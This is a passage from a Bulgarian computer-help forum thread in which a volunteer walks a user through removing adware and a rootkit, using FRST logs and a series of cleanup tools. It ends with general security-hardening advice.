2016-02-24 01:58 - 2013-11-15 23:08 - 00201664 _____ (Khronos Group) C:\Windows\SysWOW64\OpenCL.DLL
2016-02-19 05:50 - 2013-11-17 15:06 - 00000000 ____D C:\Program Files (x86)\PokerStars

==================== Files in the root of some directories =======

2016-03-12 01:22 - 2013-01-27 18:32 - 0066331 _____ () C:\Program Files (x86)\EULA.eng
2013-11-16 01:50 - 2013-11-16 01:51 - 8138498 _____ () C:\Program Files (x86)\saplatform.com_12Beta1.zip
2016-03-13 20:13 - 2016-03-13 20:13 - 7600640 _____ () C:\Users\Stefan\AppData\Roaming\agent.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 0054272 _____ () C:\Users\Stefan\AppData\Roaming\ApplicationHosting.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 0065040 _____ () C:\Users\Stefan\AppData\Roaming\Config.xml
2016-03-13 20:13 - 2016-03-13 20:12 - 0761856 _____ () C:\Users\Stefan\AppData\Roaming\Domlam.exe
2016-03-13 20:13 - 2016-03-13 20:13 - 0072714 _____ () C:\Users\Stefan\AppData\Roaming\Domlam.tst
2016-03-13 20:12 - 2016-03-13 20:13 - 0016992 _____ () C:\Users\Stefan\AppData\Roaming\InstallationConfiguration.xml
2016-03-13 20:12 - 2016-03-13 20:12 - 0127488 _____ () C:\Users\Stefan\AppData\Roaming\Installer.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 0126464 _____ () C:\Users\Stefan\AppData\Roaming\lobby.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 0018432 _____ () C:\Users\Stefan\AppData\Roaming\Main.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 0005568 _____ () C:\Users\Stefan\AppData\Roaming\md.xml
2016-03-13 20:13 - 2016-03-13 20:13 - 0848437 _____ () C:\Users\Stefan\AppData\Roaming\Nimtom.bin
2016-03-13 20:13 - 2016-03-13 20:13 - 0126464 _____ () C:\Users\Stefan\AppData\Roaming\noah.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 0189695 _____ () C:\Users\Stefan\AppData\Roaming\Sanla.bin
2016-03-13 20:14 - 2016-03-13 20:14 - 0001150 _____ () C:\Users\Stefan\AppData\Roaming\uninstall_temp.ico
2016-03-13 20:13 - 2016-03-13 20:12 - 0761856 _____ () C:\Users\Stefan\AppData\Roaming\ViaNimphase.exe
2016-03-13 20:13 - 2016-03-13 20:13 - 1787264 _____ () C:\Users\Stefan\AppData\Roaming\ViaNimphase.tst
2016-03-13 20:13 - 2016-03-13 20:13 - 0041472 _____ () C:\Users\Stefan\AppData\Local\Konkstrip.dat
2016-03-13 20:13 - 2016-03-13 20:13 - 0028160 _____ () C:\Users\Stefan\AppData\Local\Konkstrip.exe
2016-03-13 20:13 - 2016-03-13 20:13 - 0000187 _____ () C:\Users\Stefan\AppData\Local\Konkstrip.exe.config
2008-05-23 16:48 - 2008-05-23 16:48 - 0020270 _____ () C:\ProgramData\DeviceInstaller.xml
2008-06-23 12:02 - 2008-06-23 12:02 - 0097410 ____R () C:\ProgramData\DeviceManager.xml.rc4
2014-02-13 15:04 - 2014-02-13 15:04 - 0004900 _____ () C:\ProgramData\flwjycbm.bab
2016-02-19 05:49 - 2016-02-19 05:49 - 0000016 _____ () C:\ProgramData\mntemp
2010-11-21 05:24 - 2010-11-21 05:24 - 73427712 ___SH () C:\ProgramData\msvddgr.exe

Files to move or delete:
====================
C:\ProgramData\msvddgr.exe


Some files in TEMP:
====================
C:\Users\Stefan\AppData\Local\Temp\geek_x64.exe


==================== Bamital & volsnap =================

(There is no automatic fix for files that do not pass verification.)

C:\Windows\system32\winlogon.exe => File is digitally signed
C:\Windows\system32\wininit.exe => File is digitally signed
C:\Windows\SysWOW64\wininit.exe => File is digitally signed
C:\Windows\explorer.exe => File is digitally signed
C:\Windows\SysWOW64\explorer.exe => File is digitally signed
C:\Windows\system32\svchost.exe => File is digitally signed
C:\Windows\SysWOW64\svchost.exe => File is digitally signed
C:\Windows\system32\services.exe => File is digitally signed
C:\Windows\system32\User32.dll
[2010-11-21 05:24] - [2013-11-15 22:28] - 1008640 ____A (Microsoft Corporation) 2C353B6CE0C8D03225CAA2AF33B68D79

C:\Windows\SysWOW64\User32.dll
[2010-11-21 05:24] - [2013-11-15 22:28] - 0833024 ____A (Microsoft Corporation) 861C4346F9281DC0380DE72C8D55D6BE

C:\Windows\system32\userinit.exe => File is digitally signed
C:\Windows\SysWOW64\userinit.exe => File is digitally signed
C:\Windows\system32\rpcss.dll => File is digitally signed
C:\Windows\system32\dnsapi.dll => File is digitally signed
C:\Windows\SysWOW64\dnsapi.dll => File is digitally signed
C:\Windows\system32\Drivers\volsnap.sys => File is digitally signed


LastRegBack: 2016-03-19 04:53

==================== End of FRST.txt ============================

Addition.txt

Здравейте,

 

СТЪПКА 1

 

Изтеглете edit-text.giffixlist.txt и го запазете на десктопа.
Стартирайте FRST.exe и натиснете бутона Fix веднъж!
След като приключи, ако ви поиска рестарт - съгласете се. След рестарта публикувайте лог файла - fixlog.txt, който ще се създаде след работата на програмата.
 
Внимание: Скрипта е създаден за текущата система. Да не се ползва за други системи с подобни проблеми!

 

СТЪПКА 2

 

  • Изтеглете и стартирайтe 6sv1DN9.jpgAdwCleaner.exe.
  • Натиснете бутона Scan.
  • AdwCleaner ще започне да проверява компютъра.
  • След като проверката приключи натиснете бутона Clean.
  • Програмата ще затвори всички излишни процеси и след почистването ще иска да рестартира машината. Съгласете се.
  • Ще се появи автоматично лог файл с името (AdwCleaner[C0].txt) в C:\Adwcleaner
  • Публикувайте съдържанието му в следващия си коментар.

 

СТЪПКА 3

 

Моля изтеглете icon1448041809.pngJunkware Removal Tool на вашия десктоп.

  • Спрете временно работата на защитните програми.
  • Стартирайте инструмента JRT.exe
  • Ще се отвори ДОС прозорец. Натиснете което и да е копче от клавиатурата.
  • Затворете излишните приложения и всички браузъри и изчакайте проверката да завърши.
  • Ще се появи лог файл (който можете да намерите и ръчно на десктопа с името JRT.txt).
  • Моля копирайте съдържанието на лог файла в следващия си пост.

 

СТЪПКА 4

 

Направете нова проверка с FRST като сложите отметка пред Addition.txt преди да натиснете бутона SCAN и след това прикачете новите резултати.

 

След това пишете как е положението! ;)

Това е засега! :)

Поздрави!

  • Автор

Приключих със стъпка 1, но имам проблем със стъпка 2, въобще не ми отваря страницата. Изписва ми:

Не може да бъде установена връзка

Firefox не може да установи връзка с general-changelog-team.fr.

    Страницата може да е временно недостъпна или твърде заета. Опитайте пак след малко.
    Ако не можете да заредите друга страница, проверете хардуера на компютъра.
    Ако компютърът или мрежата ви са зад защитна стена или прокси проверете дали на Firefox е разрешен достъпът до Интернет.

Пробвах и с друг браузър и отново същото. Междувременно прикачвам файла от стъпка 1.

 

Fixlog.txt

  • Автор

Успях да отворя стъпка 2 и ги направих заедно с останалите стъпки. Прикачвам всички файлове, които ми се появиха. Междувременно вируса го няма вече и браузъра ми си работи нормално, за което съм изключително благодарен. Прикачих и една снимка при последното рестартиране ми се появи, че нямам ключ за windows (дадох попитай ме по-късно и засега си работи с малкото изключение, че ми се премахна картината на десктопа и каквато и да сложа си стои, като черен екран).

Fixlog.txt

AdwCleaner[C1].txt

AdwCleaner[S1].txt

AdwCleaner[S2].txt

JRT.txt

Addition.txt

windows.PNG

За Windows-а нямам право да помогна според правилата на форума, защото обсъждането на нелегален софтуер е забранено. Но явно сте ползвали калпави активатори и то няколко, защото видях доста такива в логовете, което няма общо нито с вируса, нито с почистващите програми. Имате и доста пиратски софтуер, торенти и покер програми (не се занимавам с покер и не мога да кажа дали са читави или съмнителни).

Просто активирайте Windows-a отново и след това ще продължим...

  • Автор

Още веднъж искам да изкажа огромните си благодарности за оказаната помощ. Изключително бързи и компетентни. Номер едно сте!!! :)

Успяхте ли да го активирате? Ще продължим ли? Иначе благодарим за думите. Стараем се. Със скрипта - fixlist почистихме всички остатъци от зловредния софтуер (имахте и рууткит Necurs + доста потенциално нежелани приложения). Останалите програми просто са почистили безобидни остатъци. Все пак е хубаво да проверим с още 2-3 програми, защото нежеланите програми са доста досадни за почистване, но кажете първо дали сте успели да активирате отново Windows.

Поздрави!

  • Автор

Да windows е вече активиран и чакам следващите  инструкции. Още веднъж искам да изкажа огромни благодарности за професионализма на целият Ви екип.

Между другото не сте качили FRST.txt от най-последната проверка, а само Addition.txt

Забравили сте да качите и лог файла от EsetNecursRemover-a.

Да направим финалните проверки:

 

СТЪПКА 1

 

icon_zps423a0d9f.jpgМоля изтеглете ZHPcleaner и я запазете на вашия десктоп.

  • Стартирайте ZHPCleaner с десен клик върху файла и изберете от контекстното меню "Run as administrator"
  • Кликнете върху Ashampoo_Snap_20140819_13h09m50s_001__zp за да се съгласите с лицензионното споразумение.
  • Изберете бутона y3pI4LR.png.
  • Браузърите ще бъдат затворени автоматично.
  • Ще се отвори лог файл след прикючването на проверката.
  • Публикувайте лог файла в следващия си коментар.

 

СТЪПКА 2

 

Моля изтеглете Malwarebytes Anti-Malware 2.2.1.1043 Final и я запазете на вашия десктоп.

  • Стартирайте файла mbam-setup-2.1.8.1057.exe и следвайте указанията за да инсталирате програмата.
  • След като инсталацията приключи се уверете че сте сложили отметка пред:
  • Launch Malwarebytes Anti-Malware
  • Отметката активираща пробния 14 дневен период също е маркиран по-подразбиране. Ако не желаете да тествате защитата в реално време на програмата през следващите 14 дни тогава премахнете отметката. Т.е. премахнете първата отметка:

DkgJ7Zr.png

  • Натиснете бутона Finish.
  • Отидете до табът Settings > Detection and Protection > и под категорията Detection Options включете опцията "Scan for rootkits".
  • Отидете до табът Scan, сложете радио-бутона пред Threat Scan и след това натиснете бутона Scan Now >> . Ако е намерена актуализация тогава натиснете бутона Update Now.
  • Ще започне проверка за зловреден софтуер.
  • При някои инфекции можете да видите съобщението:
  • "Could not load DDA driver"
  • Натиснете "Yes" на това съобщение за да позволите драйвера да се зареди след рестарт.
  • Разрешете на компютъра да се рестартира и след това продължете с останалите инструкции.
  • След като проверката приключи натиснете бутона Apply Actions.
  • Изчакайте да се появи прозореца подканващ ви да рестартирате и след това натиснете бутона Yes.
  • След рестарта, когато се появи десктопа MBAM ще се зареди още веднъж.
  • Отидете то табът History > Application Logs.

65ZBqkR.jpg

  • Отворете рапорта с последната дата и час и натиснете бутона "Copy to Clipboard"
  • Сега вече поставете съдържанието на лог файла с клавишната комбинация Ctrl + V и го публикувайте в следващия си коментар.

 

СТЪПКА 3

 

1.Изтеглете Hitman Pro.

За 32-битова система - dEMD6.gif.
За 64-битова система - Download-button3.gif

2.Стартирайте програмата.
3.След като сте стартирали програмата като кликнете върху иконата 5vo5F.jpg и натиснете бутона „Напред“ като се съгласите с лицензионното споразумение (EULA).

4.Сложете отметка пред "Не, искам да завърша еднократно сканиране на компютъра".

5.Натиснете бутона „Напред“.

6.Програмата ще започне да сканира. Времето за сканиране е около 2 минути.

7.След завършване на сканирането от списъка с намерените неща (ако има такива) изберете Apply to all => Ignore.

8.Натиснете "Next" и след това натиснете "Изнеси резултата в XML file" и запазете лог файла на десктопа.

9.Архивирайте файла и го прикачете в следващия си коментар или копирайте съдържанието му в следващия си коментар.
 
Забележка: Ако няма падащо меню, където да изберете ignore както на снимката:
 
6-scanfin-choose.jpg
 
Тогава просто затворете програмата след края на проверката (без да премахвате нищо)...след това отворете C:\Programdata\HitmanPro\Logs, отворете и публикувайте съдържанието на лог файла в следващия си коментар.

Забележка: Папката C:\ProgramData е скрита и затова трябва да направите скритите файлове видими по-следния начин:

От My Computer => Tools => Folder Options => View:

Сложете отметка пред "Show hidden files, folders and drives"

и махнете отметката пред "Hide protected operating system files (recommended)".

Натиснете Apply.

Сега проверете за лог файла в папката C:\Programdata\HitmanPro\Logs и го прикачете в следващия си коментар. :)

 

СТЪПКА 4

 

emsisoft_emergency_kit.pnglogo.png

  • Моля изтеглете EmsisoftEmergencyKit, стартирайте exe файла и посочете къде да се разархивира програмата - например в (C:\EEK), натискайки бутона Extract.
  • Стартирайте иконата на файла Start Emsisoft Emergency Kit от десктопа за да стартирате приложението.
  • Натиснете бутона"Yes", когато бъдете подканени да обновите дефинициите на програмата.

EKK.gif

  • След като процеса по обновяването на дефинициите приключи натиснете бутона "Scan".
  • Натиснете бутона "Yes", когато бъдете попитани дали да програмата да включи засичането на потенциално нежелани приложения (Potentially Unwanted Applications).
  • Сега вече изберете бутона Custom Scan. Премахнете от списъка всички дялове без C:\ (т.е. нека да остане само дял C:\ в списъка).
  • Натиснете Next за да започне проверката.
  • Когато проверката приключи натиснете бутона View Report.
  • Копирайте съдържанието на лог файла в следващия си коментар.

 

СТЪПКА 5

 

Изтеглете Публикувано изображение Security Check от screen317 от този линк и го запаметете на вашия десктоп.

Кликнете два пъти върху SecurityCheck.exe и следвайте инструкциите.

Накрая, автоматично ще се отвори текстов документ, наречен checkup.txt, моля поставете съдържанието му в следващия ви коментар в тази тема.

 

Поздрави! ;)

  • Автор

Прикачвам FRST.txt и ESET.log и се заемам с новите стъпки. :)

ESETNecursCleaner.exe_20160320.214005.14556.log

FRST.txt

Имам известен проблем с използване на първата програма, като свърши сканирането ми излизат 30 бръмбъра (предполагам са вируси това) и после ми излиза ето този прозорец, на който не знам къде да кликна (прикачил съм снимка). Междувременно имам изключително лошата новина, safe finder отново се появи (дори не знам как и откъде, при положение, че днес не съм правил абсолютно нищичко на компютъра, а снощи си беше ОК).

zhpcleanerrr.PNG

Редактирано от stefanbkanev (преглед на промените)

Затворете прозореца с намерените гадини и след това натиснете бутона Report и прикачете лог файла.

Възможно е гадината да е вградена в активатора и като сте го използвали да се е върнала и заразата.

Да върнала се е само една малка част от заразата и не е това, което беше в началото на темата ви. Най-вероятно е от активатора.

Ще трябва пак да изчистим проблемните няколко папки.

  • Автор

Справих се с всички стъпки и прикачвам всичките файлове от всички програми. Десктопа ми заприлича на коледна елха нямам място на екрана от антивирусни системи, текстови и логови файлове. :D

checkup.txt

HitmanPro_20160321_1805.log

HitmanPro_20160321_1807.log

MAM.txt

scan_160321-181540.txt

ZHPCleaner.txt

fixlist.txtfixlist.txt

Ами така е, защото се занимавате със съмнителни файлове.

 

СТЪПКА 1

 

Направете и нова проверка с ZPHCleaner и след като тя приключи този път натиснете бутона Repair.

Като се отвори списъка с намерените неща за почистване се разходете из категориите => File => премахнете всички отметки и натиснете бутона Validate.

Сега отидете до Folder => и отново премахнете всички отметки и натиснете Validate.

Сега отидете до Registry и премахнете следните отметки:

Цитат

 

FOUND key: HKLM\SYSTEM\CurrentControlSet\Services\KMSEmulator [C:\ProgramData\KMSAuto\KMSES.exe]  =>PUP.Optional.Windows

FOUND key: HKLM\SYSTEM\CurrentControlSet\Services\KMSServerService [D:\Торенти\KMSAuto Easy 1.06.V6 (Activator For Windows 7,8,8.1 and Office 1\KMSServerService.exe]  =>HackTool.KMSpico

FOUND value: HKLM\system\currentcontrolset\services\sharedaccess\parameters\firewallpolicy\firewallRules\\TCP Query User{5AA8EFA6-A02F-47F4-AE4F-146E6D9D0561}C:\users\stefan\appdata\local\temp\kmsnano\qemu-system-i386.exe [C:\users\stefan\appdata\local\temp\kmsnano\qemu-system-i386.exe]  =>HackTool.AutoKMS

FOUND value: HKLM\system\currentcontrolset\services\sharedaccess\parameters\firewallpolicy\firewallRules\\UDP Query User{2F3F5566-B659-47C3-9CB4-B7DE68CD6872}C:\users\stefan\appdata\local\temp\kmsnano\qemu-system-i386.exe [C:\users\stefan\appdata\local\temp\kmsnano\qemu-system-i386.exe]  =>HackTool.AutoKMS

FOUND value: HKLM\system\currentcontrolset\services\sharedaccess\parameters\firewallpolicy\firewallRules\\{A4410E85-A106-41AE-A5FA-78BD777A6CC2} [C:\Program Files\KMSnano\data\qemu-system-i386.exe]  =>HackTool.AutoKMS

FOUND value: HKLM\system\currentcontrolset\services\sharedaccess\parameters\firewallpolicy\firewallRules\\{07D5F23E-4B2F-4F72-B240-6154260B2ACA} [C:\Program Files\KMSnano\data\qemu-system-i386.exe]  =>HackTool.AutoKMS

 

и натиснете Validate.

Вече натиснете бутона Repair. Като приключи натиснете бутона Report и запазете файла на десктопа и го публикувайте в следващия си коментар.

 

СТЪПКА 2

 

Изтеглете edit-text.giffixlist.txt и го запазете на десктопа.
Стартирайте FRST.exe и натиснете бутона Fix веднъж!
След като приключи, ако ви поиска рестарт - съгласете се. След рестарта публикувайте лог файла - fixlog.txt, който ще се създаде след работата на програмата.
 
Внимание: Скрипта е създаден за текущата система. Да не се ползва за други системи с подобни проблеми!

След това пишете как е положението. ;)

Поздрави!

  • Автор

Изпълних и тези две стъпки и всичко изглежда доста по-добре отпреди, дори лаптопа ми имам чувството, че работи по-бързо, отново го няма този досаден safe finder, дано сме се оттървали напълно вече. :)

Fixlog.txt

ZHPCleaner.txt

Изтрийте папката C:\FRST\Quarantine. Не пипайте папката C:\FRST\Hives

За да почистим използваните от нас инструменти направете следното:

Изтеглете Delfix.exe и го стартирайте. Сложете отметка пред Remove disinfection tools и Purge system restore (трябва да има такава по-подразбиране, но все пак да си кажа) => натиснете бутона Run. Инструмента ще се самоизтрие след като приключи своята задача!

Сега искам за последни да сканирате за последно с всички инструменти използвани в темата - adwcleaner, jrt, zhpcleaner, malwarebytes anti-malware, hitmanpro и emsisoft emergency kit и след това приключваме.

 

  • Автор

Много се извинявам за късния отговор. Направих стъпка 1. И ми излезе файл DelFix.txt, който прикачвам. Антивирусните програми от точка 2 не ми тръгват, изписва ми, че Windows не може да намери директорията на файла, уверете се, че сте въвели правилно името.

DelFix.txt

То, това беше идеята на Delfix - да ги изтрие. Свалете ги наново от линковете в коментарите ми и сканирайте отново с тях и след това приключваме.

Въведете в Start Menu на Windows CMD.exe => кликнете с десен бутон върху CMD.exe и изберете Run as administrator => в конзолата въведете командата sc delete sulpnar и натиснете Enter.

Ето и няколко финални препоръки:

1. За да почистим използваните от нас инструменти направете следното:

Изтеглете Delfix.exe и го стартирайте. Сложете отметка пред Remove disinfection tools и Purge system restore (трябва да има такава по-подразбиране, но все пак да си кажа) => натиснете бутона Run. Инструмента ще се самоизтрие след като приключи своята задача!

Ако има папки, които не са се изтрили след гореспоменатите процедури пишете и ще ги премахнем ръчно.

2. Проверете за стари приложения с помощта на PatchMyPC или с програмата Secunia Personal Software Inspector.

3. Инсталирайте Unchecky за да се предпазите от адуер по време на инсталацията на даден софтуер.

4. За защита от криптовирусите, освен обновяване на ОС и антивирусната програма е добре да имунизирате системата си с CryptoPrevent и профила Maximum Protection: (Не използвайте последната опция, защото още е бъгава и не работи коректно).

mtBkCIZ.jpg

Ако имате проблеми с инсталацията на програми след използването на CryptoPrevent вижте следните съвети

както и тези

Направо можете да видите следния коментар в който съм обобщил повечето мерки за защита:

Както и този:Не забравяйте да изключите и Autorun в Windows, защото криптовирусите могат да се настанят и на външните дискове и флашки и да заразят информацията на тези носители при свързването им с инфектирана система и след това да заразят и други системи при свързването на външните дискове към други компютри (и така да го предадете и на тях). Microsoft са създали автоматичен инструмент за целта => MSFixIt. Добре е също така след като вкарате външния диск дори и при спрян Autorun просто да сканирате буквата на устройството с обновена антивирусна програма преди да започнете да прехвърляте данни от и към външния диск.

Има и други програми, но са главно за напреднали потребители и няма да се спирам много задълбочено на тях, защото са сравнително по-сложни за употреба на средностатистическите потребители.. Затова ще ги пропусна. Добре е да не се спира System Restore (и File History в Windows 8), да не се спира UAC - User Account Control (даже да се направи на максималното ниво на защита), да не се спира SmartScreen (наличен само в Windows 8), да се внимава с прикачените файлове към електронната поща. Добра идея е и да забраните скриптовете, ако не използвате такива с помощта на инструмента - Noscript.exe. Стартирайте го и изберете Disable. Ако ви потрябва да стартирате някога (js или vbs файлове, просто стартирайте инструмента и го направете на Enable). Добре е да се внимава и с PDF файловете (повечето програми позволяват да се изключи java script в PDF четците, да се забрани на PDF файловете да стартират външни програми и да комуникират с интернет и прочие), да се внимава с офис файловете за макрос вируси и експлоити (пак може да се затегне сигурността от настройките на офис пакетите), добре е да се внимава за файлове с двойни разширения (например ако в My Computer => Tools => Folder Options => не е премахната отметката пред "Hide extensions for known file types" ако свалите даден файл от интернет с името image.exe.jpg, вие ще го видите като image.jpg, но всъщност файла ще е image.exe и щом го стартирате това ще задейства и вируса).

5. Добра идея е да инсталирате Malwarebytes Anti-Exploit за да си осигурите спокойствие при сърфиране. Трудничко е, но просто няма как. Потребителите трябва да се научат да проявяват бдителност и хигиена при сърфиране.

6. За подобряване на производителността (ако системата ви се вижда мудна) вижте следните няколко теми:

Оптимизиране на Windows с цел по-добра производителност

Ръководство за поддръжка на Windows (XP, Vista и 7) [Revision 2.0]

Какво да направя, ако компютърът ми работи бавно

7. Проверете системата си актуални драйвери от сайтовете на производителите на компонентите ако ви се занимава (не използвайте програми за автоматично обновяване на драйверите за да си спестите главоболията после) и направете пълна проверка за гадини с наличната ви антивирусна програма за всеки случай.

8. Винаги правете бекъп на важните си документи на външни носители и за не толкова ценните неща на cloud услуги. Научете се да не инсталирате програми от съмнителни източници. Добра идея е да се научите да си създавате огледални образи на текущото работещо състояние на дяла на който се намира Операционната Система. Възстановяването на такъв образ при нужда в пъти по-лесен и бърз начин за връщане на работещото състояние на системата от преинсталация или опит за ръчно премахване на даден проблем. Такъв образ може да се създаде с външна програма като Macrium Reflect Free. Можете да видите и тази тема

Поздрави и усмихната седмица! Ще маркирам случая като решен! :bye1:

Архивирана тема

Темата е твърде стара и е архивирана. Не можете да добавяте нови отговори в нея, но винаги можете да публикувате нова тема, в която да продължи дискусията. Регистрирайте се или влезте във вашия профил за да публикувате нова тема.

Назад

Разглеждащи това в момента 0

  • Няма регистрирани потребители разглеждащи тази страница.

Дарение

  • Подкрепи съществуването на форума - направи дарение
    32%
    Дарени 315 € от нужните 1 000 €

Бюлетин

Получавайте известие, когато има важна промяна или новина свързана с форума.
Абонирайте се

Профил

Навигация

Търсене

Търсене

Конфигуриране на push известия в браузъра
Chrome (Android)
  1. Докоснете иконата на катинар до адресната лента.
  2. Докоснете Разрешения → Известия.
  3. Променете предпочитанията си.
Chrome (Desktop)
  1. Кликнете върху иконата на катинар в адресната лента.
  2. Изберете Настройки на сайта.
  3. Намерете Известия и коригирайте предпочитанията си.